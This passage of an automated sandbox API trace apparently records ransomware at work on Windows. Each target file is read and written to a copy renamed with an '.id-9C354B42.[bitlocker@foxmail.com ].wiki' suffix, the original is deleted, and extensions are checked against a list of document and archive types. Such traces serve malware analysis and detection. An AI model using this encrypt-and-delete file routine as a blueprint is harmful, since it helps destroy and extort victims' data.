files\\microsoft shared\\ink\\mraut.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0065.880] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.880] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0065.880] GetLastError () returned 0x0 [0065.880] ReadFile (in: hFile=0x214, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x665a0, lpOverlapped=0x0) returned 1 [0065.912] WriteFile (in: hFile=0x1a4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x665b0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0x665b0, lpOverlapped=0x0) returned 1 [0065.918] ReadFile (in: hFile=0x214, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.918] WriteFile (in: hFile=0x1a4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0065.918] SetEndOfFile (hFile=0x1a4) returned 1 [0065.918] CloseHandle (hObject=0x1a4) returned 1 [0065.919] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.919] SetEndOfFile (hFile=0x214) returned 1 [0065.922] CloseHandle (hObject=0x214) returned 1 [0065.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0065.922] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll")) returned 1 [0065.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0065.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0065.923] lstrlenW (lpString=".doc") returned 4 [0065.923] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0065.923] lstrlenW (lpString=".docx") returned 5 [0065.923] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0065.923] lstrlenW (lpString=".pdf") returned 4 [0065.923] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0065.923] lstrlenW (lpString=".xls") returned 4 [0065.923] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0065.923] lstrlenW (lpString=".xlsx") returned 5 [0065.923] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0065.923] lstrlenW (lpString=".ppt") returned 4 [0065.923] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0065.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0065.923] lstrlenW (lpString=".zip") returned 4 [0065.923] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0065.923] lstrlenW (lpString=".rar") returned 4 [0065.923] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0065.923] lstrlenW (lpString=".bz2") returned 4 [0065.923] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0065.923] lstrlenW (lpString=".7z") returned 3 [0065.923] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0065.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0065.923] lstrlenW (lpString=".dbf") returned 4 [0065.923] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0065.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0065.923] lstrlenW (lpString=".1cd") returned 4 [0065.923] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0065.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0065.923] lstrlenW (lpString=".jpg") returned 4 [0065.923] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0065.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0065.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0065.923] lstrlenW (lpString=".doc") returned 4 [0065.923] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0065.924] lstrlenW (lpString=".docx") returned 5 [0065.924] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0065.924] lstrlenW (lpString=".pdf") returned 4 [0065.924] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0065.924] lstrlenW (lpString=".xls") returned 4 [0065.924] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0065.924] lstrlenW (lpString=".xlsx") returned 5 [0065.924] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0065.924] lstrlenW (lpString=".ppt") returned 4 [0065.924] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0065.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0065.924] lstrlenW (lpString=".zip") returned 4 [0065.924] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0065.924] lstrlenW (lpString=".rar") returned 4 [0065.924] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0065.924] lstrlenW (lpString=".bz2") returned 4 [0065.924] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0065.924] lstrlenW (lpString=".7z") returned 3 [0065.924] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0065.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0065.924] lstrlenW (lpString=".dbf") returned 4 [0065.924] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0065.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0065.924] lstrlenW (lpString=".1cd") returned 4 [0065.924] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0065.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0065.924] lstrlenW (lpString=".jpg") returned 4 [0065.924] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0065.924] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0065.924] lstrlenW (lpString="msinfo32.exe.mui") returned 16 [0065.924] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0065.925] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=26624) returned 1 [0065.925] CloseHandle (hObject=0x214) returned 1 [0065.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0065.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0065.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0065.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0065.925] lstrlenW (lpString=".doc") returned 4 [0065.925] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0065.925] lstrlenW (lpString=".docx") returned 5 [0065.925] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0065.925] lstrlenW (lpString=".pdf") returned 4 [0065.925] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0065.925] lstrlenW (lpString=".xls") returned 4 [0065.925] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0065.925] lstrlenW (lpString=".xlsx") returned 5 [0065.925] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0065.926] lstrlenW (lpString=".ppt") returned 4 [0065.926] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0065.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0065.926] lstrlenW (lpString=".zip") returned 4 [0065.926] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0065.926] lstrlenW (lpString=".rar") returned 4 [0065.926] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0065.926] lstrlenW (lpString=".bz2") returned 4 [0065.926] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0065.926] lstrlenW (lpString=".7z") returned 3 [0065.926] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0065.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0065.926] lstrlenW (lpString=".dbf") returned 4 [0065.926] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0065.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0065.926] lstrlenW (lpString=".1cd") returned 4 [0065.926] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0065.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0065.926] lstrlenW (lpString=".jpg") returned 4 [0065.926] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0065.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0065.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0065.926] lstrlenW (lpString=".doc") returned 4 [0065.926] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0065.926] lstrlenW (lpString=".docx") returned 5 [0065.926] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0065.926] lstrlenW (lpString=".pdf") returned 4 [0065.926] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0065.926] lstrlenW (lpString=".xls") returned 4 [0065.926] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0065.926] lstrlenW (lpString=".xlsx") returned 5 [0065.926] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0065.926] lstrlenW (lpString=".ppt") returned 4 [0065.926] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0065.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0065.926] lstrlenW (lpString=".zip") returned 4 [0065.927] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0065.927] lstrlenW (lpString=".rar") returned 4 [0065.927] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0065.927] lstrlenW (lpString=".bz2") returned 4 [0065.927] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0065.927] lstrlenW (lpString=".7z") returned 3 [0065.927] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0065.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0065.927] lstrlenW (lpString=".dbf") returned 4 [0065.927] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0065.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0065.927] lstrlenW (lpString=".1cd") returned 4 [0065.927] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0065.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0065.927] lstrlenW (lpString=".jpg") returned 4 [0065.927] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0065.927] lstrcmpiW (lpString1=".exe", lpString2=".wiki") returned -1 [0065.927] lstrlenW (lpString="msinfo32.exe") returned 12 [0065.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0065.927] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=378880) returned 1 [0065.928] CloseHandle (hObject=0x214) returned 1 [0065.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0065.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0065.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0065.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0065.928] lstrlenW (lpString=".doc") returned 4 [0065.928] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0065.928] lstrlenW (lpString=".docx") returned 5 [0065.928] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0065.928] lstrlenW (lpString=".pdf") returned 4 [0065.928] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0065.928] lstrlenW (lpString=".xls") returned 4 [0065.928] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0065.928] lstrlenW (lpString=".xlsx") returned 5 [0065.928] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0065.928] lstrlenW (lpString=".ppt") returned 4 [0065.928] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0065.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0065.928] lstrlenW (lpString=".zip") returned 4 [0065.928] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0065.928] lstrlenW (lpString=".rar") returned 4 [0065.928] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0065.928] lstrlenW (lpString=".bz2") returned 4 [0065.928] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0065.928] lstrlenW (lpString=".7z") returned 3 [0065.928] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0065.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0065.928] lstrlenW (lpString=".dbf") returned 4 [0065.928] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0065.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0065.929] lstrlenW (lpString=".1cd") returned 4 [0065.929] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0065.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0065.929] lstrlenW (lpString=".jpg") returned 4 [0065.929] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0065.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0065.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0065.929] lstrlenW (lpString=".doc") returned 4 [0065.929] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0065.929] lstrlenW (lpString=".docx") returned 5 [0065.929] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0065.929] lstrlenW (lpString=".pdf") returned 4 [0065.929] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0065.929] lstrlenW (lpString=".xls") returned 4 [0065.929] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0065.929] lstrlenW (lpString=".xlsx") returned 5 [0065.929] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0065.929] lstrlenW (lpString=".ppt") returned 4 [0065.929] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0065.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0065.929] lstrlenW (lpString=".zip") returned 4 [0065.929] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0065.929] lstrlenW (lpString=".rar") returned 4 [0065.929] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0065.929] lstrlenW (lpString=".bz2") returned 4 [0065.929] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0065.929] lstrlenW (lpString=".7z") returned 3 [0065.929] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0065.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0065.929] lstrlenW (lpString=".dbf") returned 4 [0065.930] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0065.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0065.930] lstrlenW (lpString=".1cd") returned 4 [0065.930] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0065.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0065.930] lstrlenW (lpString=".jpg") returned 4 [0065.930] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0065.930] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0065.930] lstrlenW (lpString="ACEINTL.DLL") returned 11 [0065.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0065.930] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=198056) returned 1 [0065.930] CloseHandle (hObject=0x214) returned 1 [0065.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 0x20 [0065.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0065.931] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0065.931] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.931] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.931] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0065.931] GetLastError () returned 0x0 [0065.931] ReadFile (in: hFile=0x214, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x305a8, lpOverlapped=0x0) returned 1 [0066.080] WriteFile (in: hFile=0x1a4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x305b0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0x305b0, lpOverlapped=0x0) returned 1 [0066.083] ReadFile (in: hFile=0x214, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.083] WriteFile (in: hFile=0x1a4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xea, lpOverlapped=0x0) returned 1 [0066.084] SetEndOfFile (hFile=0x1a4) returned 1 [0066.084] CloseHandle (hObject=0x1a4) returned 1 [0066.084] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.084] SetEndOfFile (hFile=0x214) returned 1 [0066.086] CloseHandle (hObject=0x214) returned 1 [0066.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0066.086] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 1 [0066.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0066.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0066.086] lstrlenW (lpString=".doc") returned 4 [0066.086] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0066.086] lstrlenW (lpString=".docx") returned 5 [0066.086] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0066.086] lstrlenW (lpString=".pdf") returned 4 [0066.086] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0066.086] lstrlenW (lpString=".xls") returned 4 [0066.086] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0066.086] lstrlenW (lpString=".xlsx") returned 5 [0066.086] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0066.086] lstrlenW (lpString=".ppt") returned 4 [0066.086] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0066.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0066.086] lstrlenW (lpString=".zip") returned 4 [0066.086] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0066.086] lstrlenW (lpString=".rar") returned 4 [0066.086] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0066.086] lstrlenW (lpString=".bz2") returned 4 [0066.086] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0066.087] lstrlenW (lpString=".7z") returned 3 [0066.087] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0066.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0066.087] lstrlenW (lpString=".dbf") returned 4 [0066.087] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0066.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0066.087] lstrlenW (lpString=".1cd") returned 4 [0066.087] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0066.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0066.087] lstrlenW (lpString=".jpg") returned 4 [0066.087] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0066.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0066.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0066.087] lstrlenW (lpString=".doc") returned 4 [0066.087] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0066.087] lstrlenW (lpString=".docx") returned 5 [0066.087] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0066.087] lstrlenW (lpString=".pdf") returned 4 [0066.087] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0066.087] lstrlenW (lpString=".xls") returned 4 [0066.087] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0066.087] lstrlenW (lpString=".xlsx") returned 5 [0066.087] 